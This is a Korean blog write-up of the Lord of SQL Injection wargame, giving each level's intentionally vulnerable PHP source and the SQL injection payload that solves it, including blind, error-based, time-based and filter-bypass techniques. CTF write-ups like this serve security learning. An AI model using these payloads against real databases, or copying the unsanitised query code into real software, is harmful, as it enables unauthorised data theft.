본문 바로가기
Wargame(CTF)

Lord of SQL Injection Gremlin ~ AllClear

by Hide­ 2016. 2. 18.
반응형

LOS2가 나오고 LOS1이 오픈소스로 풀림으로써 풀이를 공개합니다.

1년도 넘었고 중간에 귀찮아서 소스만 보고 기억을 되살려서 작성한거라 살짝 틀린부분이 존재할수도 있습니다.


1. Gremlin

<?php
  
include "../config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  
if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id']) solve("gremlin");
  
highlight_file(__FILE__);
?>


간단하다. 반환값이 있으면 문제가 풀린다.

id='||1#


2. Cobolt

<?php
  
include "../config.php"
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("cobolt");
  elseif(
$result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  
highlight_file(__FILE__); 
?>


id가 admin이면 된다.

id='||id='admin'%23


3. Goblin

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob_goblin where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("goblin");
  
highlight_file(__FILE__); 
?>


id를 admin으로 만들어야한다. 1을 넣어보면 hello guest 라고 뜬다. 싱글쿼터를 필터링하고 있지만 no는 정수형이기

때문에 상관없다. 먼저 앞에 id='guest' 가 있기때문에 no에 거짓조건을 주고 or 로 뒤에 참조건을 주면 된다.

no=0||id=0x61646d696e%23


4. Orc

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello admin</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  
highlight_file(__FILE__); 
?>


오래전에 풀어서 기억이 잘 안나는데 아마 첫번째 컬럼에 guest 가 들어있던걸로 기억한다. 그래서 ascii(id)-103으로

guest 를 제외시키고 Blind 를 진행하면 된다. (관련 문서 : http://hides.kr/276)

pw=%27||ascii(id)-103%26%26ascii(substr(pw,1,1))>10%23


5. Wolfman

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("wolfman"); 
  
highlight_file(__FILE__); 
?>


앞에 id='guest' 가 있고 pw에 인풋값이 들어가므로 거짓주고 or 로 참값을 주면 된다.

pw='||1%0dorder%0dby%0d1%23


6. Darkelf

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect();  
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("darkelf"); 
  
highlight_file(__FILE__); 
?>


이전 문제와 같지만 or를 필터링하므로 guest를 제외시키면 된다.

pw='||ascii(id)-103%23


7. Orge

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>


이전 문제와 동일하지만 Blind 문제다. 마찬가지로 guest 제외시켜주고 한글자씩 뽑으면 된다.

pw='||ascii(id)-103%26%26ascii(substr(pw,1,1))>10%23


8. Troll

<?php  
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  if(@
ereg("admin",$_GET[id])) exit("HeHe");
  
$query "select id from prob_troll where id='{$_GET[id]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id'] == 'admin'solve("troll");
  
highlight_file(__FILE__);
?>


id가 admin 이면 풀리는데 admin을 필터링해놨다. 하지만 ereg함수는 대소문자를 구별하므로 소문자만 필터링된다.

id=Admin


9. Vampire

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~"); 
  
$_GET[id] = str_replace("admin","",$_GET[id]); 
  
$query "select id from prob_vampire where id='{$_GET[id]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("vampire"); 
  
highlight_file(__FILE__); 
?>


id가 admin이면 풀리지만 admin을 공백으로 치환한다. ad와 min 사이에 admin을 넣으면 중간에 있는 admin이 공백처리

되면서 admin이 된다.

id=admadminin


10. Skeleton

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id'] == 'admin'solve("skeleton"); 
  
highlight_file(__FILE__); 
?>


전에 나왔던 문제와 마찬가지로 거짓값을 주고 or 로 참값을 주면 된다.

pw='||ascii(id)-103%23


11. Golem

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  
highlight_file(__FILE__); 
?>


=와 substr에 대한 필터링이 추가됐다. =는 in으로, substr은 mid로 우회한다.

pw='||ascii(id)-103%26%26ascii(mid(pw,1,1)) in(55)%23


12. Darknight

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>


먼저 clear 조건을 살펴보면 결과 pw와 입력받은 pw값이 같아야 하므로 Blind 문제다. no 가 정수형이므로 해당 부분에

인젝션을 하면 된다. ascii를 필터링하므로 hex로 우회한다.

no=0||ord(id)-103%26%26hex(mid(pw,1,1)) in(0x61)


13. Bugbear

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 

  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 

  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

  highlight_file(__FILE__); 

?>


페이로드는 다음과 같다.


no=0||locate(concat(char(103),char(117),char(101),char(115),char(116)),id)-1%26%26locate(char(97),id)%0din(1)%23

no=0||instr(id,concat(char(103),char(117),char(101),char(115),char(116)))-1%26%26right(left(pw,1),1)%0din(char(97))%23


이 두개의 문장도 http://hides.kr/276 에 나와있는 방법과 같다. locate('abc', 'abc') 를 해보면 1이 나오는데 -1을 해줘서

해당 값을 0으로 만들어 제외시키는 것이다. 예를 들어 컬럼에 guest, admin 순으로 들어있다고 가정하고

SELECT * FROM user WHERE id='' or locate('guest',id)-1 을 해보면 admin 만 나오는걸 알 수있다.

이후는 블라인드로 뽑아내면 된다.


14. Giant

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 

  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result[1234]) solve("giant"); 

  highlight_file(__FILE__); 

?>


먼저 맨 뒤 where 1 때문에 참 조건이다. 하지만 from 다음에 바로 인풋값이 붙어버려서 문법이 깨진다.

\n, \r, \t는 필터링 해놨지만 Vertical Tab은 막지 않았다.

shit=%0b


15. Assasin

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  if($result['id'] == 'admin') solve("assassin"); 

  highlight_file(__FILE__); 

?>


컬럼에 admin 만 있었는지 다른것도 있었는지 기억이 안나는데 admin만 존재한다면 a% 이런식으로 하나씩 뽑아내면 되고

다른계정이 존재한다면(아마도 guest) &&ascii(id)-103 등의 조건을 붙여서 뽑아내면 된다.

pw=[a-z]%


16. Zombie_assasin

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 

  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(@ereg("'",$_GET[id])) exit("HeHe"); 

  if(@ereg("'",$_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) solve("zombie_assassin"); 

  highlight_file(__FILE__); 

?>


ereg로 싱글쿼터를 필터링하지만 널바이트로 우회가 가능하다. id가 존재하기만 하면 된다.

id=%00%27||1%23


17. Succubus

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 

  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) solve("succubus"); 

  highlight_file(__FILE__); 

?>


싱글쿼터를 필터링하지만 \는 필터링하지 않는다. select id from prob_succubus where id='\' and pw=''||1#'

이런식으로 넣게되면 \때문에 '가 씹혀버리고 id 부분에 pw의 첫번째 싱글쿼터까지 들어가게 된다.

(id='~~ and pw=' 이런 형태) 그리고 pw에 ||1#을 넣으면 id=''||1#의 형태가 되므로 참값이 된다.

id=\&pw=||1%23


18. Nightmare

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 

  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 

  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) solve("nightmare"); 

  highlight_file(__FILE__); 

?>


반환되는 id값이 있기만 하면 문제가 풀린다. #, - 등의 주석을 막아놨고 총 입력값이 6을 넘으면 안된다. MySQL 에서

문자열은 0이다. (SELECT 'a'=0 해보면 참이다) 그리고 주석은 ;%00(널바이트) 로 우회하면 된다.

pw=')=0;%00


19. Xavis

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 

  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

  highlight_file(__FILE__); 

?>


간단한 블라인드문제인데 아무리 시도해도 참이 안떴다. 알고보니 flag가 한글이었다.

pw='||substr(pw,1,1)='우'%23


20. Dragon

<?php 

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";

  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 

  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  if($result['id'] == 'admin') solve("dragon");

  highlight_file(__FILE__); 

?>


guest 다음에 주석이 들어가있어서 사용자의 인풋값이 씹혀버린다. #은 한줄주석이기 때문에 Line Feed로 우회하면 된다.

(관련 실제 exploit : http://blog.naver.com/withrubiya/220500660102)

pw='%0a and 1=2||id='admin'%23


21. Iron_golem

<?php

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(mysql_error()) exit(mysql_error());

  echo "<hr>query : <strong>{$query}</strong><hr><br>";

  

  $_GET[pw] = addslashes($_GET[pw]);

  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

  highlight_file(__FILE__);

?>


에러가 발생하면 해당 에러를 보여주므로 에러기반 공격으로 하면 된다.

pw=' or (select concat(floor(rand(0)*2),pw)x from (select 1 union select 2 union select 3)t group by x having min(0))%23


22. Dark_eyes

<?php

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(mysql_error()) exit();

  echo "<hr>query : <strong>{$query}</strong><hr><br>";

  

  $_GET[pw] = addslashes($_GET[pw]);

  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

  highlight_file(__FILE__);

?>


중간에 보면 에러 발생시 exit 시킨다. 이부분을 통해 참/거짓을 판별할 수 있다. 참이면 에러 미발생/거짓일 시 발생

이런식으로 쿼리를 구성하면 된다. 

pw=' or ascii(id)-103 and (select 118 union select ascii(substr(pw,1,1)))%23

pw=' or id='admin' and (ord(substr(pw,1,1))>0 || (select pw union select 2));%00


23. Hell_fire

<?php

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/_|\.|\(\)/i', $_GET[limit])) exit("No Hack ~_~");

  if(preg_match('/union|where|evilwizard/i', $_GET[limit])) exit("hehe");

  if($_GET[limit]) $limit = $_GET[limit];

  else $limit = 1;

  $query = "select id from probhellfire where id='admin' limit {$limit}";

  $result = @mysql_fetch_array(mysql_query($query));

  if(mysql_error()) exit(mysql_error());

  echo "<hr>query : <strong>{$query}</strong><hr><br>";

  

  $_GET[pw] = addslashes($_GET[pw]);

  $query = "select pw from probhellfire where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("hell_fire");

  highlight_file(__FILE__);

?>


limit 구문에서 공격을 해야하는 상황이다. (참고문서 : http://hides.kr/284)

limit=1 procedure analyse(extractvalue(1,concat(1,(select pw from probhellfire limit 1,1))),1)%23


24. Evil_wizard

<?php

  include "./config.php"; 

  login_chk(); 

  dbconnect(); 

  if(preg_match('/_|\.|\(\)/i', $_GET[limit])) exit("No Hack ~_~");

  if(preg_match('/union|where|hellfire/i', $_GET[limit])) exit("hehe");

  if($_GET[limit]) $limit = $_GET[limit];

  else $limit = 1;

  $query = "select id from probevilwizard where id='admin' limit {$limit}";

  $result = @mysql_fetch_array(mysql_query($query));

  if(mysql_error()) exit();

  echo "<hr>query : <strong>{$query}</strong><hr><br>";

  

  $_GET[pw] = addslashes($_GET[pw]);

  $query = "select pw from probevilwizard where id='admin' and pw='{$_GET[pw]}'";

  $result = @mysql_fetch_array(mysql_query($query));

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("evil_wizard");

  highlight_file(__FILE__);

?>


마찬가지로 limit 구문에서의 공격이지만 시간지연 기반으로 공격해야한다. (참고문서 : http://hides.kr/284)

limit=1 procedure analyse(extractvalue(1,concat(1,if(ascii(mid((select pw from probevilwizard limit 0,1),숫자,1))=47,benchmark(2000000,sha(1)),0))),1)


25. rubiya

<?php

  include "./config.php";

  login_chk();

  dbconnect();

  function reset_flag(){

    $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);

    $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));

    if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");

    else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");

    echo "reset ok";

    highlight_file(__FILE__);

    exit();

  }

  if(!$_GET[flag]){ highlight_file(__FILE__); exit; }

  if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");

  if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");

  if(strlen($_GET[flag])>100) exit("HeHe");

  $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));

  @mysql_query("create temporary table prob_umaru_temp as select * from prob_rubiya where id='{$_SESSION[los_id]}'");

  @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");

  $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));

  if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();

  if($realflag[flag] === $_GET[flag]) solve("umaru");

?>


내가 풀땐 이름이 rubiya 였는데 umaru로 바꼈나보다. 튼 reset_flag 함수를 살펴보면 난수값을 생성하고 flag에 넣는다.

전체소스를 분석해보면 매번 flag를 새로운값으로 갱신해주는데 이 부분을 에러를 통해 막아서 고정시키고 블라인드로

값을 뽑아와야 한다. 일단 졸려서 자러가야겠다..이 부분 설명은 다음에 보충함. 

페이로드는 밑에 있는 4개중 아무거나 쓰면 된다.


flag=sleep(flag like '%')>(select 1 union select 2)

case when flag regexp '^[a-z]' then sleep(1)||(select 1 union select 2) end

case when flag like '%' then sleep(1)||(select 1 union select 2) else (select 1 union select 2) end

case when substr(flag from 1 for 1)='a' then sleep(1)||(select 1 union select 2) else (select 1 union select 2) end


뭐하나 꽂히면 다른작업 아무것도 못하는 스타일이라 하루만에 다풀자 라는 목표를 가지고 풀었던 기억이 있다.

풀면서 멘탈도 많이나가고 결과적으로 하루보단 조금 더 걸렸지만 굉장히 재밌었다.

los2는 현재 닫힌것 같은데 언제 열릴진 모르겠다.

'Wargame(CTF)' 카테고리의 다른 글

cmd1  (0) 2016.04.21
echo1  (0) 2016.04.21
LOS2 ing...  (0) 2015.11.25
2013 pctf ropasaurusrex  (0) 2015.09.23
Codeshell  (0) 2015.08.10